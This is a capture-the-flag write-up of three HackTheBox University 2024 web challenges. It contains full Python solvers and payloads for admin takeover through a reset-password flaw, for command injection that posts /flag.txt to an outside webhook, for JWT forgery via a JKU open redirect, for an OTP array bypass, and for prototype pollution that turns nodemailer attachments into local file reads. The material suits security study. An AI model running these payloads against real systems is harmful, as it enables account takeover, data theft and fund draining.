# HTB University CTF 2024 Web Exploitation

> Write Up By Heroes Cyber Security
Upon playing with Heroes Cyber Security, we managed to solve 3/4 web exploitation problem and secure 16th position in the leaderboard.
## Index
- [Web Armaxis](#Web-Armaxis)
- [Web Breaking Bank](#Web-Breaking-Bank)
- [Web Intergalactic Bounty](#Web-Intergalactic-Bounty)
## Web Armaxis
> Difficulity: **Very Easy**
### Vulnerability
- Broken Logic in Reset Password Functionality
- Command Injection
### Challenge Information
Given a web challenge with these functionality:
- Basic Auth
- Reset Password
- Dispatch Weapon
The task is pretty straightforward, in dispatch weapon functionality, we can insert a description of our weapons in markdown format which will be rendered in server side via ``parseMarkdown`` Function in markdown.js. We can also insert image in format ```` which will be curled from using dangerous function ``execSync`` which is an os exec command in js.
below is the route and the endpoint of weapon dispatch the markdown.js which has the command injection vulnerability:
/weapon/dispatch
```js
router.post("/weapons/dispatch", authenticate, async (req, res) => {
const { role } = req.user;
if (role !== "admin") return res.status(403).send("Access denied.");
const { name, price, note, dispatched_to } = req.body;
if (!name || !price || !note || !dispatched_to) {
return res.status(400).send("All fields are required.");
}
try {
const parsedNote = parseMarkdown(note);
await dispatchWeapon(name, price, parsedNote, dispatched_to);
res.send("Weapon dispatched successfully.");
} catch (err) {
console.error("Error dispatching weapon:", err);
res.status(500).send("Error dispatching weapon.");
}
});
```
markdown.js
```js
const MarkdownIt = require('markdown-it');
const { execSync } = require('child_process');
const md = new MarkdownIt({
html: true,
});
function parseMarkdown(content) {
if (!content) return '';
return md.render(
content.replace(/\!\[.*?\]\((.*?)\)/g, (match, url) => {
try {
const fileContent = execSync(`curl -s ${url}`);
const base64Content = Buffer.from(fileContent).toString('base64');
return `<img src="data:image/*;base64,${base64Content}" alt="Embedded Image">`;
} catch (err) {
console.error(`Error fetching image from URL ${url}:`, err.message);
return `<p>Error loading image: ${url}</p>`;
}
})
);
}
module.exports = { parseMarkdown };
```
But to access that endpoint, we have to become an admin. _How do we do that?_
### Admin Account Takeover
Remember that this application has reset password functionality? the logic for reset password will be described below:
1. Active user request reset password token to ``/reset-password/request``
2. Token sent into requesting user email
3. User submit the token, email, and new password to ``/reset-password/``
In the point number 3, user has to supply the target email for password reset. Fortunately, there's no integrity checking that the supplied email is the current user email. Which in this case, we can supplied with admin privileged email and change it's password. below is the code for password reset:
```javascript
router.post("/reset-password", async (req, res) => {
const { token, newPassword, email } = req.body; // Added 'email' parameter
if (!token || !newPassword || !email)
return res.status(400).send("Token, email, and new password are required.");
try {
const reset = await getPasswordReset(token);
if (!reset) return res.status(400).send("Invalid or expired token.");
const user = await getUserByEmail(email);
if (!user) return res.status(404).send("User not found.");
await updateUserPassword(user.id, newPassword);
await deletePasswordReset(token);
res.send("Password reset successful.");
} catch (err) {
console.error("Error resetting password:", err);
res.status(500).send("Error resetting password.");
}
});
```
we can use this payload to exploit the vuln:
```jsonld
{
"token": "19c1b2cf4fbb2f19948bba32b40b7f95",
"newPassword": "aa",
"email": "admin@armaxis.htb"
}
```
### Command Injection
Now we have admin token which now we able to hit the ``/weapon/dispatch`` endpoint. To exploit the remote code execution, we can utilize the command injection vulnerability within the url that being parsed with MarkdownIt. we can use this payload to exploit it:
```jsonld
{
"name": "gedagedigedagedao",
"price": 100.97,
"note": "",
"dispatched_to": "mariaban"
}
```
which will be parsed, and send into ``execSync`` function:
```javascript
const fileContent = execSync(`curl -s https://google.com ; curl -X POST -d @/flag.txt webhook_urlhttps://google.com ; curl -X POST -d @/flag.txt webhook_url`);
```
webhook log:
```txt
POST / HTTP/1.1
Host: qdiyqxfhpgectiqifhius4f88b183wnvt.oast.fun
Accept: */*
Connection: close
Content-Length: 26
Content-Type: application/x-www-form-urlencoded
User-Agent: curl/8.11.1
HTB{FAKE_FLAG_FOR_TESTING}
```
### Full Solver
Below is the full solver:
```python
import httpx
from bs4 import BeautifulSoup
class API:
def __init__(self, url, webhook):
self.url = url
self.c = httpx.Client()
self.adminEmail = "admin@armaxis.htb"
self.webhook = webhook
def register(self):
info = {"email": "test@email.htb", "password": "admin"}
resp = self.c.post(f"{self.url}/register", json=info).text
return resp
def resetPasswordRequest(self,):
return self.c.post(f"{self.url}/reset-password/request", json={"email": "test@email.htb"}).text
def resetPassword(self, token):
return self.c.post(f"{self.url}/reset-password/", json={"token": token, "newPassword": "aa", "email": self.adminEmail}).text
def login(self):
resp = self.c.post(f"{self.url}/login", json={"email": self.adminEmail, "password": "aa"})
self.c.headers["Cookie"] = resp.headers['Set-Cookie']
print(f"[+] Logged in as admin; cookies: {self.c.headers['Cookie']}")
def commandInjection(self):
return self.c.post(f"{self.url}/weapons/dispatch", json={"name": "gedagedigedagedao", "price": 100.97, "note": f"", "dispatched_to": "mariaban"}).text
class MAIL:
def deleteAllVerif(self):
r = httpx.get("http://localhost:8080/deleteall")
def getVerifCode(self):
response = httpx.get("http://localhost:8080/")
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
td = soup.find('td', text=lambda t: t and 'Use this token to reset your password: ' in t)
if td:
verification_code = td.text.split('Use this token to reset your password: ')[1].strip()
print(f"[+] Verification Code: {verification_code}")
return verification_code
else:
print("Verification code not found.")
return None
else:
print(f"Failed to fetch the page. Status code: {response.status_code}")
return None
webhook = input("Enter your webhook: ")
api = API("http://localhost:1337", webhook)
mail = MAIL()
if __name__ == "__main__":
mail.deleteAllVerif()
print(api.register())
print(api.resetPasswordRequest())
verifcode = mail.getVerifCode()
# reset admin password using the verification code
print(api.resetPassword(verifcode))
api.login()
#inject command in markdown
stat = api.commandInjection()
if "successfully" in stat:
print("[+] Command injection successful, check your webhook :D")
```
## Web Breaking
> Difficulity: **Easy**
### Vulnerability
- Open Redirect
- Forged JWT via JKU Modification
- OTP Broken Logic
### Challenge Introduction
Given a web with this functionality:
- Register and Login
- Make Friends (request, accept, cancle, deny)
- Get Analytics, and Redirects
- Get Current User Balance
- Make Transactions
- etc
The task is to drain the admin privilleged user ``financial-controller@frontier-board.htb`` CLCR coin, which if we then access the dashboard, we will be served with the flag. Below is the ``/api/dashboard`` endpoint and the flag service:
/api/dashboard
```javascript
import { checkFinancialControllerDrained } from '../services/flagService.js';
export default async function dashboardRouter(fastify) {
fastify.get('/', async (req, reply) => {
if (!req.user) {
reply.status(401).send({ error: 'Unauthorized: User not authenticated' });
return;
}
const { email } = req.user;
if (!email) {
reply.status(400).send({ error: 'Email not found in token' });
return;
}
const { drained, flag } = await checkFinancialControllerDrained();
if (drained) {
reply.send({ message: 'Welcome to the Dashboard!', flag });
return;
}
reply.send({ message: 'Welcome to the Dashboard!' });
});
}
```
flagService.js
```javascript
import { getBalancesForUser } from './coinService.js';
import fs from 'fs/promises';
const FINANCIAL_CONTROLLER_EMAIL = "financial-controller@frontier-board.htb";
/**
* Checks if the financial controller's CLCR wallet is drained
* If drained, returns the flag.
*/
export const checkFinancialControllerDrained = async () => {
const balances = await getBalancesForUser(FINANCIAL_CONTROLLER_EMAIL);
const clcrBalance = balances.find((coin) => coin.symbol === 'CLCR');
if (!clcrBalance || clcrBalance.availableBalance <= 0) {
const flag = (await fs.readFile('/flag.txt', 'utf-8')).trim();
return { drained: true, flag };
}
return { drained: false };
};
```
To drain the coin, we have to make a transactions from ``financial-controller@frontier-board.htb`` (resolved from JWT), to other user. Giving us new problem, to get the admin access.
### Admin Account Takeover
The authentication method this application used is using JWT with added JKU in it's header, below is example of jwt decode structure:
header
```jsonld
{
"alg": "RS256",
"jku": "http://127.0.0.1:1337/.well-known/jwks.json",
"kid": "063c81d6-99ec-43c4-8789-40337951bf4d",
"typ": "JWT"
}
```
payload
```jsonld
{
"email": "user@mail.com"
}
```
In short the application logic to verify user token is described as below:
1. User send token via ``Authorization`` headers.
2. Is jku attribute exists in header and starts with http://127.0.0.1:1337 ?
4. Is kid exists in the header and has the same value with the one in the server
5. Get jwks via accessing url stated in jku value
6. Get jwk in the url that has the same kid value as stated in the header
7. Check if it's algorithm is ``RS256``
8. Generate public key via ``n`` and ``e`` value in jwk
9. Verify the JWT using the public key
To get admin access, we have to forge our own JWT with our keys. But, by default the jku url is set to ``http://127.0.0.1:1337/.well-known/jwks.json``. Also there's checking of jku start value as stated in point 2.
_How can we set the jku with our own if it have to starts with 127.0.0.1:1337 ??_
At this point, the redirect comes into play. Take a look at this redirect functionaliy in ``/api/analytics/redirect`` endpoint:
```javascript
...
export default async function analyticsRoutes(fastify) {
fastify.get('/redirect', async (req, reply) => {
const { url, ref } = req.query;
if (!url || !ref) {
return reply.status(400).send({ error: 'Missing URL or ref parameter' });
}
// TODO: Should we restrict the URLs we redirect users to?
try {
await trackClick(ref, decodeURIComponent(url));
reply.header('Location', decodeURIComponent(url)).status(302).send();
} catch (error) {
console.error('[Analytics] Error during redirect:', error.message);
reply.status(500).send({ error: 'Failed to track analytics data.' });
}
});
...
}
```
There is no restriction to where we redirect the request in url param. We can utilize this to serve jwks value that contains our public key in our server. Below is the url used for jku:
```text
http://127.0.0.1:1337/api/analytics/redirect?url=[server_ip]&ref=http://127.0.0.1:1337
```
Cool, now we can forge admin privileged user JWT using our prepared key pair, and served the kid (can be obtained from our jwt), modulus (n) and public exponent (e) in the server, below is example of jwks format served in our server:
```jsonld
{
"keys": [
{
"alg": "RS256",
"kty": "RSA",
"e": "AQAB",
"kid": "063c81d6-99ec-43c4-8789-40337951bf4d",
"use": "sig",
"n": "ryHnKq491juhzNjYEy7ZMFG6UfqJMoKkmuxLkOSYFLB1hPwIRolFOQG_b0ExFAm2iMCiv4dZ4AWiODfwEoHEgmB9rOmIqi-kDb7-7eplI-MbXGJoc2X6roYh9kfrdVYJOZkhHGcKSDzrFDW0Nr3kQjj1qx6Fb9lIJT-j6I20je02SKh_PgCvDfXU7qy4yVJPUtjnqsjgjTb8ePbwGRmLfZJW12_kiycO0BPgxtzc32AkdF6KGYtYJl5b0032DJfW0GHwW25y_qGgn2PgP67gDwdfKyKDekYra_NLyFtasqlBHaNPS8RsLKCo7scL8y9ls-wtRbrI-6ETa3Cq4aieQQ"
}
]
}
```
Below is the code to leak the kid, genarate key pair, and Forge JWT and JWKS:
```python
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64
def getkid(self):
jwks = self.c.get(f"{self.url}/.well-known/jwks.json").json()
kid = jwks["keys"][0]["kid"]
return kid
def generate_rsa_keys(self):
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
with open("private.pem", "wb") as f:
f.write(private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
))
public_key = private_key.public_key()
with open("public.pem", "wb") as f:
f.write(public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
))
return public_key
def extract_n_and_e(self, public_key):
numbers = public_key.public_numbers()
n = numbers.n
e = numbers.e
n_b64 = base64.urlsafe_b64encode(n.to_bytes((n.bit_length() + 7) // 8, 'big')).decode('utf-8').rstrip("=")
e_b64 = base64.urlsafe_b64encode(e.to_bytes((e.bit_length() + 7) // 8, 'big')).decode('utf-8').rstrip("=")
return n_b64, e_b64
def craftJWT(self):
public_key = self.generate_rsa_keys()
n, e = self.extract_n_and_e(public_key)
kid = self.getkid()
jwks = {
"keys": [
{
"alg": "RS256",
"kty": "RSA",
"e": e,
"kid": kid,
"use": "sig",
"n": n
}
]
}
payload = {
"email": "financial-controller@frontier-board.htb",
}
headers = {
"alg": "RS256",
"kid": kid,
"jku": f"http://127.0.0.1:1337/api/analytics/redirect?url={webhook}&ref=http://127.0.0.1:1337",
"typ": "JWT"
}
with open("private.pem", "rb") as f:
private_key_data = f.read()
token = jwt.encode(
payload,
private_key_data,
algorithm="RS256",
headers=headers
)
self.c.headers["Authorization"] = f"Bearer {token}"
return str(jwks).replace("'", "\"")
```
Use the JWT we forged, and the application will recognize us as ``financial-controller@frontier-board.htb``.
### OTP Broken Logic
Now our target is to drain the financial-controller CLCR coin, this can be achieved by simply hit the ``/api/crypto/transaction`` with POST request, set the target email, amount, and coin type. It's that simple right? or is it?
Sadly no, there's a middleware with OTP, where we have to send digits number between 0000 to 9999. The problem is, we don't know the OTP that only declared in the backend and never sent or exposed via the existing API. Bruteforce it? the middleware wont allow you to send more than 5 times, and there's also a OTP rotation. Below is the OTP and rate limit middleware:
otpMiddleware.js
```javascript
export const otpMiddleware = () => {
return async (req, reply) => {
const userId = req.user.email;
const { otp } = req.body;
const redisKey = `otp:${userId}`;
const validOtp = await hgetField(redisKey, 'otp');
if (!otp) {
reply.status(401).send({ error: 'OTP is missing.' });
return
}
if (!validOtp) {
reply.status(401).send({ error: 'OTP expired or invalid.' });
return;
}
// TODO: Is this secure enough?
if (!otp.includes(validOtp)) {
reply.status(401).send({ error: 'Invalid OTP.' });
return;
}
};
};
```
rateLimiterMiddleware.js
```javascript
export const rateLimiterMiddleware = (limit = 5, windowInSeconds = 60) => {
return async (req, reply) => {
const userId = req.user.email;
const redisKey = `rate-limit:${userId}`;
let currentCount = await hgetField(redisKey, 'count');
if (!currentCount) {
currentCount = 1;
await hsetField(redisKey, 'count', currentCount);
await expireKey(redisKey, windowInSeconds);
} else {
currentCount = parseInt(currentCount, 10) + 1;
await hsetField(redisKey, 'count', currentCount);
}
if (currentCount > limit) {
reply.status(429).send({ error: 'Too many requests. Please try again later.' });
return;
}
};
};
```
So How can we bypassed the OTP? Take a look at this part in OTP middleware:
```javascript
if (!otp.includes(validOtp)) {
reply.status(401).send({ error: 'Invalid OTP.' });
return;
}
```
They use ``includes(validOTP)`` to check the OTP validity instead of direct comparing like ``===``. Which if we take a peek at javascript documentation:

which means... we can send the otp in array with value from 0000 to 9999. This array will always contain one valid OTP. Below is the payload to used:
```jsonld
{
"to": "aa@aa.com",
"coin": "CLCR",
"amount": amount,
"otp": ["0000", "0001", "0002", ..., "9998", "9999"]
}
```
send it to ``/api/crypto/transaction``, then access the dashboard, we will get the flag. Below is the full solver:
```python
import httpx
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64
class API:
def __init__(self, url, webhook):
self.url = url
self.c = httpx.Client()
self.webhook = webhook
def register(self,):
self.c.post(f"{self.url}/api/auth/register", json={"email": "aa@aa.com", "password": "aa"})
# leak "kid" to forge jwt
def getkid(self):
...
def generate_rsa_keys(self):
...
def extract_n_and_e(self, public_key):
...
def craftJWT(self):
...
def accessDashboard(self):
r = self.c.get(f"{self.url}/api/dashboard")
return r.status_code == 200, r.json()
def getBalance(self):
resp = self.c.get(f"{self.url}/api/crypto/balance").json()
clcr_balance = resp[0]['availableBalance']
print("[+] admin clcr balance: ", clcr_balance)
return clcr_balance
def generateOTP(self):
otps = [f"{num:04}" for num in range(0, 10000)]
return otps
def transferBrutal(self, amount):
data = { "to": "aa@aa.com", "coin": "CLCR", "amount": amount, "otp": self.generateOTP() }
resp = self.c.post(f"{self.url}/api/crypto/transaction", json=data).json()
return resp.get("success", False)
if __name__ == "__main__":
webhook = input("Enter your webhook: ")
api = API("http://localhost:1337", webhook)
api.register()
# craft admin jwt
jwks = api.craftJWT()
print("[+] JWT crafted")
print(api.c.headers['Authorization'])
_ = input(f"set this jwks to your server, also set the content type to application/json\n{jwks}\nPress enter to continue")
# check if jwt with admin creds is valid
stat, _ = api.accessDashboard()
if stat:
print("[+] JWT is valid, You are an admin now")
else:
print("[-] JWT is invalid")
exit()
# transfer all balance to user
balance = api.getBalance()
if api.transferBrutal(balance):
print("[+] Transfer success, admin balance is now 0, access dashboard")
# get flag
stat, resp = api.accessDashboard()
flag = resp.get("flag", None)
print(f"[+] Flag: {flag}")
```
output:
```text
Enter your webhook: https://webhook.site/ec0f6d63-7a4a-492e-8f5b-dbf6ca3a8c77
[+] JWT crafted
set this jwks to your server, also set the content type to application/json
{"keys": [{"alg": "RS256", "kty": "RSA", "e": "AQAB", "kid": "063c81d6-99ec-43c4-8789-40337951bf4d", "use": "sig", "n": "vJnSJ2YrFIFGI6VFCMhF4rC6II2P5lZDoiw5xDWjtT20QiWHV_uN1U1oWolCVvRDW5w3woYl9Lti9vISysgKMG6vwhlsjBPHiM_EzNJNP_xyRcqtO1-r8VagSS_qDFiq9ZvByTe0vN-i_lKA2L2DxActlZOuro8YJeNqW06j2WN9UDiT-SZrmTGnAG00-q73fridekqbiDK4FiF1KUuWgFiTa3uqHKQGMFPuLTCxlfdOfPgXXBWT7FWbOz1P5VFiSfuDw5pdVUIcF_-JnGb-ThT-8caf8dU8bWBGPsaFhHxBNDloEaQZHrk46TEMaED1_s78gM6Di2oOxf1ULgX_Lw"}]}
Press enter to continue
[+] JWT is valid, You are an admin now
[+] admin clcr balance: 24698894988
[+] Transfer success, admin balance is now 0, access dashboard
[+] Flag: HTB{f4k3_fl4g_f0r_t35t1ng}
```
## Web Intergalactic Bounty
> Difficulity: **Hard**
### Vulnerability:
- Server-Side Prototype Pollution
- Mishandled Email Parser
- Local File Inclusion
- Cross Site Scripting
- Server-Side Request Forgery
- Denial of Services
- Mass Assignment
### Challenge Introduction
This challenge was intended to be solved by exploiting the 0-day in email-address npm package. We solved it using unintended way and didn't use the 0-day approach.
Given a web with these functionalities:
- Register
- Login
- Send and Resend Verification Code
- Make, Edit, and View Bounty
- Report a Bounty
- Visit a link
### Get Admin Access
To access any endpoints in the website, we need to have an authorized account, the problem is, the application only allow us to register using ``[any]@interstellar.htb``. Below is the code that represent the restriction:
/controllers/authControllers.js
```javascript
...
const registerAPI = async (req, res) => {
const { email, password, role = "guest" } = req.body;
const emailDomain = emailAddresses.parseOneAddress(email)?.domain;
if (!emailDomain || emailDomain !== 'interstellar.htb') {
return res.status(200).json({ message: 'Registration is not allowed for this email domain' });
}
try {
await User.createUser(email, password, role);
return res.json({ message: "User registered. Verification email sent.", status: 201 });
} catch (err) {
return res.status(500).json({ message: err.message, status: 500 });
}
};
...
```
we try to stack the email like:
```
test@email.htb <"gedagedi@interstellar.htb">
test@email.htb.interstellar.htb
etc...
```
But it didn't give any green lamp. At this point we almost believe that we **must** solve this challenge by exploiting a 0-day. But we tried to observe more, maybe there's another vector that we can use to register. Knowing there's a resend verify code functionality, we thought:
>_"Can we register with a valid user, then resend the code to email we control (test@email.htb)?"_
Below is detailed tactic:
1. Register as ``[someone]@interstellar.htb``
2. resend verification code to ``["[someone]@interstellar.htb", "test@email.htb"]``
3. Get the ``[someone]@interstellar.htb`` verification code in test@email.htb mailbox
Because if we take a look at the nodemailer sendMail mail options structure, we can use array of target addresses.
```javascript
interface Options {
/** The e-mail address of the sender. All e-mail addresses can be plain 'sender@server.com' or formatted 'Sender Name <sender@server.com>' */
from?: string | Address | undefined;
/** An e-mail address that will appear on the Sender: field */
sender?: string | Address | undefined;
/** Comma separated list or an array of recipients e-mail addresses that will appear on the To: field */
to?: string | Address | Array<string | Address> | undefined;
...
```
We was kinda skeptical on sequelize because we think that findOne will only accept a single string. But surprisingly findOne accepts array as it's argument. We also can laverage out privillege as admin by adding ``role: admin`` parameter in the register payload, which is a mass assignment vulnerability. Below is our payload to register as a valid user that has admin privillage:
register:
```jsonld
{
"email": "kutikula@interstellar.htb",
"password": "aa",
"role": "admin"
}
```
resend verif code:
```jsonld
{
"email":
[
"kutikula@interstellar.htb",
"test@email.htb"
]
}
```
verif code in test@email.htb mailbox:

submit verification code for valid user
```jsonld
{
"email":"kutikula@interstellar.htb",
"code":"2b176b816ce9830a5a1a8b7200f328da"
}
```
Now we can login as ``kutikula@interstellar.htb``.
### Server-Side Prototype Pollution leads to Local File Inclusion
By gaining the admin privillege, we can access more endpoints, such as:
- Edit Bounties
- Transmit URLs to admin
In edit bounties functionallity, we can edit any fields in the bounty, merge the existed bounty properties value with the one supplied by the editor, then update the data to database. The object merge function used by the app can be seen below:
mergedeep/src/index.js
```javascript
const isObject = item => item && typeof item === "object" && !Array.isArray(item) && item !== null;
function mergeDeep(target, source) {
if (isObject(target) && isObject(source)) {
Object.keys(source).forEach(key => {
if (isObject(source[key])) {
if (!target[key]) {
Object.assign(target, {[key]: {}});
}
mergeDeep(target[key], source[key]);
} else if (Array.isArray(source[key])) {
if (!target[key]) {
target[key] = [];
}
target[key] = [...target[key], ...source[key]];
mergeDeep(target[key], source[key]);
} else {
Object.assign(target, {[key]: source[key]});
}
});
}
return target;
}
```
it recursively set the properties object with from source object. There's no restriction or whatsoever to protect the mechanism from allowing attacker to write properties in the global object prototype. Below is example how can we write any properties in global object:
```jsonld
"__proto__":{
"properties": "hijacked"
}
```
But directly sending that payload for updating the bounty will return us an error from sequalize:
```text
2024-12-18 16:19:33 TypeError: this._customSetters[key].call is not a function
2024-12-18 16:19:33 at model.set (/app/node_modules/sequelize/lib/model.js:2256:32)
2024-12-18 16:19:33 at model.set (/app/node_modules/sequelize/lib/model.js:2241:18)
2024-12-18 16:19:33 at model.update (/app/node_modules/sequelize/lib/model.js:2591:10)
2024-12-18 16:19:33 at editBountiesAPI (/app/controllers/bountyController.js:114:16)
```
the error coming from sequalize, upon searching for clues, we find this [writeup](https://stefanin.com/posts/heroctf_complainio/). we can bypass the error by setting the fields array to empty sizea, and setting "attributes" to a valid one.
```jsonld
"__proto__":{
"fields": [],
"attributes": ["id", "email", "isVerified", "role"],
"bad_prop": "hijacked"
}
```
Now we need to find a gadget to either trigger RCE or read the flag. In our case, we found out that we can set an attachment to when we send mail using nodemailer.
```javascript
interface Options {
...
attachments?: Attachment[] | undefined;
/** An array of alternative text contents (in addition to text and html parts) */
...
```
```javascript
interface Attachment extends AttachmentLike {
/** filename to be reported as the name of the attached file, use of unicode is allowed. If you do not want to use a filename, set this value as false, otherwise a filename is generated automatically */
filename?: string | false | undefined;
/** optional content id for using inline images in HTML message source. Using cid sets the default contentDisposition to 'inline' and moves the attachment into a multipart/related mime node, so use it only if you actually want to use this attachment as an embedded image */
cid?: string | undefined;
/** If set and content is string, then encodes the content to a Buffer using the specified encoding. Example values: base64, hex, binary etc. Useful if you want to use binary attachments in a JSON formatted e-mail object */
encoding?: string | undefined;
/** optional content type for the attachment, if not set will be derived from the filename property */
contentType?: string | undefined;
/** optional transfer encoding for the attachment, if not set it will be derived from the contentType property. Example values: quoted-printable, base64. If it is unset then base64 encoding is used for the attachment. If it is set to false then previous default applies (base64 for most, 7bit for text). */
contentTransferEncoding?: "7bit" | "base64" | "quoted-printable" | false | undefined;
/** optional content disposition type for the attachment, defaults to ‘attachment’ */
contentDisposition?: "attachment" | "inline" | undefined;
/** is an object of additional headers */
headers?: Headers | undefined;
/** an optional value that overrides entire node content in the mime message. If used then all other options set for this node are ignored. */
raw?: string | Buffer | Readable | AttachmentLike | undefined;
}
```
Cool, we can use this gadget to send the flag to our mail, below is teh final payload:
```jsonld
{
'description':'saaa',
'target_name':'saaa',
"__proto__": {
"fields": [],
"attributes": ["id", "email", "isVerified", "role"],
"attachments": [
{
"filename": "flag.txt",
"path": "/flag.txt",
}
],
}
}
```
Result:


below is the final solver:
```python
import httpx
from bs4 import BeautifulSoup
import os
from time import sleep
import re
from base64 import b64decode
class API:
def __init__(self, base_url: str):
self.base_url = base_url
self.c = httpx.Client()
self.verifCode = None
def sendVerifCode(self, email):
data = {"email":[email,"test@email.htb"]}
return self.c.post(f"{self.base_url}/api/sendEmail", json=data).json()
def submitVerifCode(self):
data = {"email":"kutikula@interstellar.htb","code":self.verifCode}
self.c.post(f"{self.base_url}/api/verify", json=data).json()
print("[+] Email Verified")
def register(self,email):
resp = self.c.post(f"{self.base_url}/api/register", json={"email": email, "password": "aa", "role": "admin"}).json()
print(resp)
def login(self,):
resp = self.c.post(f"{self.base_url}/api/login", json={"email": "kutikula@interstellar.htb", "password": "aa"})
token = resp.json().get('token')
self.c.headers["Cookie"] = f"auth={token}"
return f"[+] get admin token: {token}", token
def getBounty(self, id):
return self.c.get(f"{self.base_url}/api/bounties/{id}").json()
def makeBounty(self, payload):
return self.c.post(f"{self.base_url}/api/bounties", json=payload).json()
def updateBounty(self, id, payload):
return self.c.put(f"{self.base_url}/api/bounties/{id}", json={"status": "approved", **payload}).json()
class Mail:
def deleteAllVerif(self):
r = httpx.get("http://localhost:9080/deleteall")
def getVerifCode(self):
response = httpx.get("http://localhost:9080/")
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
td = soup.find('td', text=lambda t: t and 'Your verification code is:' in t)
if td:
verification_code = td.text.split('Your verification code is:')[1].strip()
return verification_code
else:
print("Verification code not found.")
return None
else:
print(f"Failed to fetch the page. Status code: {response.status_code}")
return None
bounty = {"target_name":"aaaa","target_aliases":"aaaa","target_species":"aaaa","last_known_location":"aaaa","galaxy":"aaaa","star_system":"aaaa","planet":"aaaa","coordinates":"aaaa","reward_credits":111,"reward_items":"aaaa","issuer_name":"aaaa","issuer_faction":"aaaa","risk_level":"low","image":"","description":"1111"}
payload = {
'description':'saaa',
'target_name':'saaa',
"__proto__": {
"fields": [],
"attributes": ["id", "email", "isVerified", "role"],
"attachments": [
{
"filename": "flag.txt",
"path": "/flag.txt",
}
],
}
}
if __name__ == "__main__":
# Reset the container because the app tends to broken if we fail to use intended pollute
os.system("docker rm -f web_intergalatic_bounty")
os.system("docker run --name=web_intergalatic_bounty -d --rm -p1337:1337 -p9080:8080 -it web_intergalatic_bounty")
sleep(10)
api = API("http://localhost:1337")
mail = Mail()
#login as admin, and 1 other user
api.register("kutikula@interstellar.htb")
api.register("mariaban@interstellar.htb")
#check verify token
mail.deleteAllVerif()
resp = api.sendVerifCode("kutikula@interstellar.htb")
if resp.get("status") != 400:
api.verifCode = mail.getVerifCode()
if api.verifCode:
api.submitVerifCode()
else:
exit()
stat, token = api.login()
print(token)
stat = api.makeBounty(bounty)
#Trigger Pollution
stat = api.updateBounty(7, payload)
#Retrieve the flag
# mail.deleteAllVerif()
stat = api.sendVerifCode("mariaban@interstellar.htb")
#Read The Flag
huzzah = mail.getVerifCode()
regex = r'\b[A-Za-z0-9+/]{4,}={0,2}\b'
matches = re.findall(regex, huzzah)
for match in matches:
try:
valid = b64decode(match, validate=True).decode()
if "HTB" in valid: print(f"[+] Flag: {valid}")
except Exception:
pass
```